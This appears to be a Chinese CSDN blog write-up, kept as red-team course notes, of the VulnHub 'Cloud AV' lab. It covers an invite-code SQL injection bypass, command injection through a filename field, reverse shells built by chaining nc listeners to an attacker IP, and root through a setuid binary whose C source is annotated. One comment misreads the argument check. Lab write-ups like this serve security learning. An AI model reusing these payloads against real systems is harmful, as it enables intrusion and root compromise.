打靶笔记_BoredHackerBlog: Cloud AV_writeup

打靶笔记_BoredHackerBlog: Cloud AV_writeup

这是在安全牛课堂上的课程《红队/渗透 — 和我一起来打靶》的笔记

靶机简介

靶机名:BoredHackerBlog: Cloud AV
靶机链接:https://www.vulnhub.com/entry/boredhackerblog-cloud-av,453/
难度:简单
目标:获取root权限
提示:链接内容已经包含了十分有用的提示
port scanning
webapp attacks
sql injection
command injection
brute forcing
code analysis

攻击流程

ps:具体攻击过程请看渗透过程及结果

拿shell

  1. 使用nmap扫描靶机,其中22/ssh、8080/httpd开启
  2. 访问8080/httpd后会看到一个要求输入邀请码的页面
  3. 使用burpsuiteintruder功能对邀请码网页 不断发送特殊字符,发现输入"后网页返回报错,告诉了邀请码通过和sql数据的内容比较,返回布尔值来确定邀请码有没有用
  4. 通过sql注入使得网页验证结果变为1:"or 1=1--+
  5. 进入scan页面,发现网页功能:发送文件名,对所列靶机内的文件进行病毒扫描。根据提示command injection,发送文件名hello|id,发现命令被执行
  6. 通过nc串联,即本地随意开两个nc监听端口4444、4445,发送文件名hello|nc 10.0.0.1 4444|/bin/bash|nc 10.0.0.1 4445(10.0.0.1是渗透机ip),得到shell

提权

  1. 提示中有code analysis,并且有一个update_cloud的已编译文件,该文件属主是root,并且具有sid权限,发送命令update_cloud "a|id"后返回root
  2. 这里还是用nc串联提权,update_cloud "a|nc 10.0.0.1 4446|/bin/bash|nc 10.0.0.1 4447

代码分析

关于update_cloud的C语言源代码:(鄙人不才,斗胆加点注释讲解)

#include <stdio.h>

int main(int argc, char *argv[]) 
{
	char *freshclam="/usr/bin/freshclam"; 

	if (argc < 2){ # 如果传入了至少有两个的参数,程序直接停止运行
	printf("This tool lets you update antivirus rules\nPlease supply command line arguments for freshclam\n");
	return 1;
}

	char *command = malloc(strlen(freshclam) + strlen(argv[1]) + 2); # 通过malloc函数为command指针分配了一个内存,大小为freshclam字符数组的大小加上执行可执行文件传入的第一个参数的大小再加2
	sprintf(command, "%s %s", freshclam, argv[1]); # 字符串拼贴函数,将两个字符串拼贴起来存入command
	setgid(0); # 更改进程的属组id,
	setuid(0);
	system(command); 
	return 0;

}

程序要点

  1. 如果传入了至少有两个的参数,程序直接停止运行
  2. 程序会直接执行参数中的内容,并且因为setuid setgid,命令是以root的身份运行的

工具和技术

nmap 扫描
burpsuite的intruder爆破
sql injection sql注入
command injection 命令注入
nc串联 拿shell
linux的sid权限利用
code analysis 代码分析

渗透过程及结果

  1. 使用nmap扫描靶机
    在这里插入图片描述

  2. 访问8080/httpd
    在这里插入图片描述

  3. 使用burpsuiteintruder功能对邀请码网页 不断发送特殊字符
    在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

  1. 通过sql注入使得网页验证结果变为1,进入scan界面:"or 1=1--+
    在这里插入图片描述

  2. 发送文件名hello|id,发现返回id命令的执行结果
    在这里插入图片描述

  3. nc串联 拿shell
    在这里插入图片描述

  4. 通过update_cloudnc串联 提权
    在这里插入图片描述

总结反思

通过burpsuite的intruder功能,不断的向目标设备的输入框发送不同的特殊字符,因而发现报错,这是很有用的技巧
当能进行命令注入,且目标设备有nc,就可以使用nc串联获取shell
寻找可利用、具有sid权限的可执行文件,很有可能就得到了取root的途径
代码分析还是比较重要的

参考资料

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值